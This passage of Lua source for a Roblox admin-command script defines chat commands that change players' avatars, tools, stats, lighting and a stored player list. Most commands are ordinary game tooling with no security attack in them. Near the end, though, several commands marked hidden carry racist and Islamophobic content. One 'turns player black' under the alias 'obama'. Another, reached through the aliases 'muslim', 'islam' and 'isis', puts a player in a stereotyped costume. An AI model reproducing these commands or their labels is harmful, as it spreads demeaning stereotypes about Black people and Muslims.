  6975.         for _,Player in pairs(Players) do
  6976.             if Player.Character then
  6977.                 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  6978.                     Obj.Reflectance = 0.5
  6979.                 end)
  6980.             end
  6981.         end
  6982.     end};
  6983.    
  6984.     [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
  6985.         local Players = STRING:Scan(Arguments[1], Speaker)
  6986.         for _,Player in pairs(Players) do
  6987.             if Player.Character then
  6988.                 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  6989.                     Obj.Transparency = 0.5
  6990.                     Obj.Reflectance = 0
  6991.                     Obj.BrickColor = BrickColor.new("Institutional white")
  6992.                 end)
  6993.                 CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
  6994.                     Obj.Transparency = 0.5
  6995.                 end)
  6996.             end
  6997.         end
  6998.     end};
  6999.    
  7000.     [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
  7001.         local Players = STRING:Scan(Arguments[1], Speaker)
  7002.         for _,Player in pairs(Players) do
  7003.             if Player.Character then
  7004.                 for _,Obj in pairs(Player.Character:GetChildren()) do
  7005.                     local Valid = false
  7006.                     for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
  7007.                     if Valid == true then Obj:Destroy() end
  7008.                 end
  7009.             end
  7010.         end
  7011.     end};
  7012.    
  7013.     [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
  7014.         local Players = STRING:Scan(Arguments[1], Speaker)
  7015.         for _,Player in pairs(Players) do
  7016.             if Player.Character then
  7017.                 for _,Obj in pairs(Player.Character:GetChildren()) do
  7018.                     local Valid = false
  7019.                     for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
  7020.                     if Valid == true then Obj:Destroy() end
  7021.                 end
  7022.             end
  7023.         end
  7024.     end};
  7025.    
  7026.     [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
  7027.         local Players = STRING:Scan(Arguments[1], Speaker)
  7028.         for _,Player in pairs(Players) do
  7029.             if Player.Character then
  7030.                 for _,Obj in pairs(Player.Character:GetChildren()) do
  7031.                     local Valid = false
  7032.                     for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
  7033.                     if Valid == true then Obj:Destroy() end
  7034.                 end
  7035.             end
  7036.         end
  7037.     end};
  7038.    
  7039.     [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
  7040.         local Players = STRING:Scan(Arguments[1], Speaker)
  7041.         for _,Player in pairs(Players) do
  7042.             if Player.Character then
  7043.                 for _,Obj in pairs(Player.Character:GetChildren()) do
  7044.                     if Obj:IsA("Accoutrement") then
  7045.                         Obj:Destroy()
  7046.                     end
  7047.                 end
  7048.             end
  7049.         end
  7050.     end};
  7051.    
  7052.     [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
  7053.         local Players = STRING:Scan(Arguments[1], Speaker)
  7054.         for _,Player in pairs(Players) do
  7055.             Player:ClearCharacterAppearance()
  7056.         end
  7057.     end};
  7058.    
  7059.     [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
  7060.         local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
  7061.         local TmpPlayers = {}
  7062.         local Output = {}
  7063.         for _,Data in pairs(Players) do
  7064.             table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
  7065.         end
  7066.         GUI:ListGui(Speaker, "Player Database", Output, 120563622)
  7067.     end};
  7068.    
  7069.     [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
  7070.         Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
  7071.         GUI:SendHint(Speaker, "Player Database cleared", 5)
  7072.     end};
  7073.    
  7074.     [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
  7075.         local Players = STRING:Scan(Arguments[1], Speaker)
  7076.         for _,Player in pairs(Players) do
  7077.             GUI:FakeHack(Player)
  7078.         end
  7079.     end};
  7080.    
  7081.     [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
  7082.         local Players = STRING:Scan(Arguments[1], Speaker)
  7083.         for _,Player in pairs(Players) do
  7084.             if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  7085.                 for _,Object in pairs(Player.Backpack:GetChildren()) do
  7086.                     if Object:IsA("Tool") or Object:IsA("HopperBin") then
  7087.                         local Clone = Object:Clone()
  7088.                         Clone.Parent = Speaker.Backpack
  7089.                     end
  7090.                 end
  7091.             end
  7092.         end
  7093.     end};
  7094.    
  7095.     [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
  7096.         local Players = STRING:Scan(Arguments[1], Speaker)
  7097.         for _,Player in pairs(Players) do
  7098.             if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  7099.                 for _,Object in pairs(Player.Backpack:GetChildren()) do
  7100.                     if Object:IsA("Tool") or Object:IsA("HopperBin") then
  7101.                         Object.Parent = Speaker.Backpack
  7102.                     end
  7103.                 end
  7104.             end
  7105.         end
  7106.     end};
  7107.    
  7108.     [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7109.         local Players = STRING:Scan(Arguments[1], Speaker)
  7110.         for _,Player in pairs(Players) do
  7111.             if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  7112.                 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
  7113.                     if Object:IsA("Tool") or Object:IsA("HopperBin") then
  7114.                         local Clone = Object:Clone()
  7115.                         Clone.Parent = Player.Backpack
  7116.                     end
  7117.                 end
  7118.             end
  7119.         end
  7120.     end};
  7121.    
  7122.     [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
  7123.         local Players = STRING:Scan(Arguments[1], Speaker)
  7124.         for _,Player in pairs(Players) do
  7125.             if Player:FindFirstChild("Backpack") then
  7126.                 Player.Backpack:ClearAllChildren()
  7127.             end
  7128.             if Player.Character ~= nil then
  7129.                 for _,Obj in pairs(Player.Character:GetChildren()) do
  7130.                     if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
  7131.                         Obj:Destroy()
  7132.                     end
  7133.                 end
  7134.             end
  7135.         end
  7136.     end};
  7137.    
  7138.     [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
  7139.         local Players = STRING:Scan(Arguments[1], Speaker)
  7140.         for _,Player in pairs(Players) do
  7141.             if Player.Character then
  7142.                 if Player.Character:FindFirstChild("Head") then
  7143.                     if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
  7144.                         coroutine.wrap(function()
  7145.                             if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
  7146.                                 local OldFace = Player.Character.Head.face.Texture
  7147.                                 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
  7148.                                 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
  7149.                                 Player.Character.Head.face.Texture = "rbxassetid://24067663"
  7150.                                 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
  7151.                                 Sound:Play()
  7152.                                 coroutine.wrap(function() for i = 1,100 do wait()
  7153.                                     local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
  7154.                                     coroutine.wrap(function() wait(3) Part:Destroy() end)()
  7155.                                 end
  7156.                                 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
  7157.                             end end
  7158.                         end)()
  7159.                     end
  7160.                 end
  7161.             end
  7162.         end
  7163.     end};
  7164.    
  7165.     [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
  7166.         local Players = STRING:Scan(Arguments[1], Speaker)
  7167.         for _,Player in pairs(Players) do
  7168.             if Player.Character then
  7169.                 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
  7170.                     coroutine.wrap(function()
  7171.                         if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
  7172.                             local OldFace = Player.Character.Head.face.Texture
  7173.                             local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
  7174.                             local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
  7175.                             local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
  7176.                             Player.Character.Head.face.Texture = "rbxassetid://28118994"
  7177.                             local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
  7178.                             Sound:Play()
  7179.                             wait(1)
  7180.                             Smoke.Enabled = false
  7181.                             wait(1)
  7182.                             Fart:Destroy()
  7183.                             Fart:Destroy()
  7184.                             Player.Character.Head.face.Texture = OldFace
  7185.                         end end
  7186.                     end)()
  7187.                 end
  7188.             end
  7189.         end
  7190.     end};
  7191.    
  7192.     [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
  7193.         local Players = STRING:Scan(Arguments[1], Speaker)
  7194.         for _,Player in pairs(Players) do
  7195.             if Player:FindFirstChild("Backpack") then
  7196.                 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
  7197.             end
  7198.         end
  7199.     end};
  7200.    
  7201.     [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7202.         local Players = STRING:Scan(Arguments[1], Speaker)
  7203.         for _,Player in pairs(Players) do
  7204.             if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
  7205.                 Player.Character.MMLGraffiti:ClearAllChildren()
  7206.             end
  7207.         end
  7208.     end};
  7209.    
  7210.     [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
  7211.         local Players = STRING:Scan(Arguments[1], Speaker)
  7212.         for _,Player in pairs(Players) do
  7213.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  7214.                 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
  7215.                 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
  7216.             end
  7217.         end
  7218.     end};
  7219.    
  7220.     [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
  7221.         local Players = STRING:Scan(Arguments[1], Speaker)
  7222.         for _,Player in pairs(Players) do
  7223.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  7224.                 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
  7225.                 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
  7226.             end
  7227.         end
  7228.     end};
  7229.    
  7230.     [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
  7231.         local Players = STRING:Scan(Arguments[1], Speaker)
  7232.         for _,Player in pairs(Players) do
  7233.             if Player.Character and Player.Character:FindFirstChild("Torso") then
  7234.                 local Lights = {}
  7235.                 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
  7236.                     if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
  7237.                         table.insert(Lights, Obj)
  7238.                     end
  7239.                 end
  7240.                 for _,Light in pairs(Lights) do
  7241.                     coroutine.wrap(function()
  7242.                         for i = 1,20 do
  7243.                             Light.Brightness = Light.Brightness/5
  7244.                             wait()
  7245.                         end
  7246.                         Light:Destroy()
  7247.                     end)()
  7248.                 end
  7249.             end
  7250.         end
  7251.     end};
  7252.    
  7253.     [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
  7254.         local Players = STRING:Scan(Arguments[1], Speaker)
  7255.         for _,Player in pairs(Players) do
  7256.             if Player.Character and Player:FindFirstChild("PlayerGui") then
  7257.                 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
  7258.                 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
  7259.                 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
  7260.                 local Stop = false
  7261.                 coroutine.wrap(function()
  7262.                     repeat
  7263.                         Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
  7264.                         wait(0.1)
  7265.                     until not SG or not SG.Parent
  7266.                 end)()
  7267.                 CORE:ExecuteResource("Drug", Player.Character)
  7268.             end
  7269.         end
  7270.     end};
  7271.    
  7272.     [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
  7273.         local Players = STRING:Scan(Arguments[1], Speaker)
  7274.         for _,Player in pairs(Players) do
  7275.             if Player:FindFirstChild("PlayerGui") then
  7276.                 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
  7277.                 wait() CORE:RestoreCamera(Player)
  7278.             end
  7279.         end
  7280.     end};
  7281.    
  7282.     [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
  7283.         local AbuseMode = false
  7284.         if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
  7285.         MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
  7286.             if Speaker:FindFirstChild("Backpack") then
  7287.                 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
  7288.             end
  7289.         end)
  7290.     end, Http = true};
  7291.    
  7292.     [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
  7293.         local Type = "all"
  7294.         local Query = string.lower(Arguments[1])
  7295.         local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
  7296.         if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
  7297.             Type = Arguments[1]
  7298.             Query = Arguments[2]
  7299.         end
  7300.         MARKET:ShowSearch(Speaker, 11, Query, function(ID)
  7301.             if Speaker.Character then
  7302.                 CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
  7303.             end
  7304.         end, MARKET:AccessoryToSubcategory(Type))
  7305.     end, Http = true};
  7306.    
  7307.     [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
  7308.         MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
  7309.             if Speaker.Character then
  7310.                 CORE:GivePackage(Speaker, ID)
  7311.             end
  7312.         end, 11)
  7313.     end, Http = false};
  7314.    
  7315.     [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7316.         local Players = STRING:Scan(Arguments[1], Speaker)
  7317.         for _,Player in pairs(Players) do
  7318.             CORE:GivePackage(Player)
  7319.         end
  7320.     end};
  7321.    
  7322.     [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7323.         local Players = STRING:Scan(Arguments[1], Speaker)
  7324.         for _,Player in pairs(Players) do
  7325.             CORE:GivePackage(Player, Arguments[2])
  7326.         end
  7327.     end, Http = false};
  7328.    
  7329.     [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
  7330.         local Players = STRING:Scan(Arguments[1], Speaker)
  7331.         for _,Player in pairs(Players) do
  7332.             local Stats = Player:FindFirstChild("leaderstats")
  7333.             if Stats ~= nil then
  7334.                 for _,Stat in pairs(Stats:GetChildren()) do
  7335.                     if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
  7336.                         ypcall(function() Stat.Value = Arguments[3] end)
  7337.                     end
  7338.                 end
  7339.             end
  7340.         end
  7341.     end};
  7342.    
  7343.     [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7344.         local ID = tonumber(Arguments[2])
  7345.         local Players = STRING:Scan(Arguments[1], Speaker)
  7346.         for _,Player in pairs(Players) do
  7347.             for _,Player in pairs(Players) do
  7348.                 if Player.Character ~= nil then
  7349.                     local Obj = Player.Character:FindFirstChild("Shirt")
  7350.                     if Obj then
  7351.                         Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7352.                     else
  7353.                         Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7354.                     end
  7355.                     coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
  7356.                 end
  7357.             end
  7358.         end
  7359.     end};
  7360.    
  7361.     [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7362.         local ID = tonumber(Arguments[2])
  7363.         local Players = STRING:Scan(Arguments[1], Speaker)
  7364.         for _,Player in pairs(Players) do
  7365.             for _,Player in pairs(Players) do
  7366.                 if Player.Character ~= nil then
  7367.                     local Obj = Player.Character:FindFirstChild("Pants")
  7368.                     if Obj then
  7369.                         Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7370.                     else
  7371.                         Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7372.                     end
  7373.                     coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
  7374.                 end
  7375.             end
  7376.         end
  7377.     end};
  7378.    
  7379.     [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7380.         local ID = tonumber(Arguments[2])
  7381.         local Players = STRING:Scan(Arguments[1], Speaker)
  7382.         for _,Player in pairs(Players) do
  7383.             for _,Player in pairs(Players) do
  7384.                 if Player.Character ~= nil then
  7385.                     if Player.Character:FindFirstChild("Torso") then
  7386.                         local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
  7387.                         local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
  7388.                         if Obj1 then
  7389.                             Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7390.                         else
  7391.                             Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7392.                         end
  7393.                         if Obj2 then
  7394.                             Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7395.                         else
  7396.                             Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
  7397.                         end
  7398.                         coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
  7399.                         coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
  7400.                     end
  7401.                 end
  7402.             end
  7403.         end
  7404.     end};
  7405.    
  7406.     [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
  7407.         local Players = STRING:Scan(Arguments[1], Speaker)
  7408.         for _,Player in pairs(Players) do
  7409.             CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
  7410.         end
  7411.     end};
  7412.    
  7413.     [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
  7414.         if CORE:InAdminGroup(Speaker) then                 
  7415.             local Players = STRING:Scan(Arguments[1], Speaker)
  7416.             for _,Player in pairs(Players) do
  7417.                 if Player:FindFirstChild("Backpack") then
  7418.                     local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
  7419.                     local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
  7420.                     local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
  7421.                     local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
  7422.                     CORE:ExecuteResource("CookieTool", Tool)
  7423.                 end
  7424.             end
  7425.         end
  7426.     end};
  7427.    
  7428.     [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
  7429.         if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
  7430.             CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
  7431.         end
  7432.     end};
  7433.    
  7434.     [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
  7435.         if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
  7436.             local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
  7437.             Model:MakeJoints()
  7438.             for i = 1,math.random(10,20) do
  7439.                 Model.Name = Model.Name..string.char(math.random(97,122))
  7440.             end
  7441.             if Model:GetChildren()[1] then
  7442.                 table.insert(Objects, Model)
  7443.                 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
  7444.             end
  7445.         end
  7446.     end};
  7447.    
  7448.     [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7449.         local ID = tonumber(Arguments[2])
  7450.         local Players = STRING:Scan(Arguments[1], Speaker)
  7451.         for _,Player in pairs(Players) do
  7452.             if Player.Character then
  7453.                 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
  7454.             end
  7455.         end
  7456.     end};
  7457.    
  7458.     [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
  7459.         local Players = STRING:Scan(Arguments[1], Speaker)
  7460.         for _,Player in pairs(Players) do
  7461.             if Player.Character then
  7462.                 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
  7463.                 if StopAnim then StopAnim:Destroy() end
  7464.             end
  7465.         end
  7466.     end};
  7467.    
  7468.     [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
  7469.         if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
  7470.             Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
  7471.         end
  7472.     end};
  7473.    
  7474.     [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
  7475.         if tonumber(Arguments[1]) then
  7476.             Server.Lighting.Brightness = tonumber(Arguments[1])
  7477.         end
  7478.     end};
  7479.    
  7480.     [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
  7481.         local Players = STRING:Scan(Arguments[1], Speaker)
  7482.         for _,Player in pairs(Players) do
  7483.             GUI:CoreGui(Player, "PlayerList", true)
  7484.         end
  7485.     end};
  7486.    
  7487.     [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
  7488.         local Players = STRING:Scan(Arguments[1], Speaker)
  7489.         for _,Player in pairs(Players) do
  7490.             local Players = STRING:Scan(Arguments[1], Speaker)
  7491.             GUI:CoreGui(Player, "PlayerList", false)
  7492.         end
  7493.     end};
  7494.    
  7495.     [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
  7496.         GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
  7497.     end, Hidden = true};
  7498.    
  7499.     [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
  7500.         local Players = STRING:Scan(Arguments[1], Speaker)
  7501.         for _,Player in pairs(Players) do
  7502.             CORE:ChangeCharacter(Player, 1337, false, Speaker)
  7503.         end
  7504.     end, Hidden = true};
  7505.    
  7506.     [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
  7507.         local Players = STRING:Scan(Arguments[1], Speaker)
  7508.         for _,Player in pairs(Players) do
  7509.             if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
  7510.                 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
  7511.                 Player:ClearCharacterAppearance()
  7512.                 CORE:Insert(12436480, Player.Character, true)
  7513.                 Player.Character.Head.face.Texture = "rbxassetid://110287880"
  7514.                 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
  7515.                 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
  7516.             end
  7517.         end
  7518.     end, Hidden = true};
  7519.    
  7520.     [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
  7521.         local Players = STRING:Scan(Arguments[1], Speaker)
  7522.         for _,Player in pairs(Players) do
  7523.             CORE:ChangeCharacter(Player, 0, false, Speaker)
  7524.         end
  7525.     end};
  7526.    
  7527.     [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
  7528.         ShouldFilter = false
  7529.     end, Hidden = true};
  7530.    
  7531.     [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
  7532.         local Bet = Arguments[1]
  7533.         if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
  7534.             GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
  7535.         elseif #Bet > 5 then
  7536.             GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
  7537.         else
  7538.             local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
